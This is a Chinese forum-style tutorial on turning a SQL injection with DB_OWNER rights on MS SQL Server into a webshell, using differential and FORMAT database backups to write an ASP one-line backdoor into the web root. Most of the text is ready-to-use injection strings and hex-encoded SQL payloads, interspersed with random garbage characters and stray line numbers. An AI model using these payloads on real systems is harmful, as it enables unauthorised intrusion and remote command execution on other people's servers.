DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
( ~7 |! h$ @) p8 B- \" X加一个参数WITH DIFFERENTIAL
5 q  {; S6 h0 U& K! v$ C
1
0 s: E0 W2 v0 I7 c0 n2
3
& j0 `# \7 p6 G, [4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
, \6 @& @* p" I. zcreate table [dbo].[xiaolu] ([cmd] [image]);
# T% v/ p' u; Tinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
9 }3 M! N' A/ M# H9 c加一个参数WITH FROMAT
% j+ G& T3 A8 y) U' z1 s有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

4 @* v& c7 H6 K; `" q+ e$ w% {1
7 n8 ~8 O9 q* x% u6 a# }2
( K' S6 z7 v8 k8 t4 t9 m+ [3
: s4 ~9 \6 x1 A8 O& Z8 J2 h7 ]! y) D4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
% u/ {: o) y# n1 R/ ?: Screate table [dbo].[xiaolu] ([cmd] [image]);
4 @0 S. ^4 ^) G- ?* f% Oinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
9 b+ h4 ?0 }* L1 }5 ~
) V% p+ o8 O/ j总的来说就是那么简单几句,下面以备份数据库model为例子
7 t$ N+ v6 U+ t6 [1

3 `* B' e7 r1 j% U. j1
" `2 w3 Z9 Y3 _ id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

2
; |6 G3 d$ ~, i* c' p- ^
/ D" z8 x' f3 h0 {1
id=1;backup database model to disk='你的路径‘ with differential,format;--
2 d: Z3 q: P) a  P3 A3 M9 q$ p' G2 N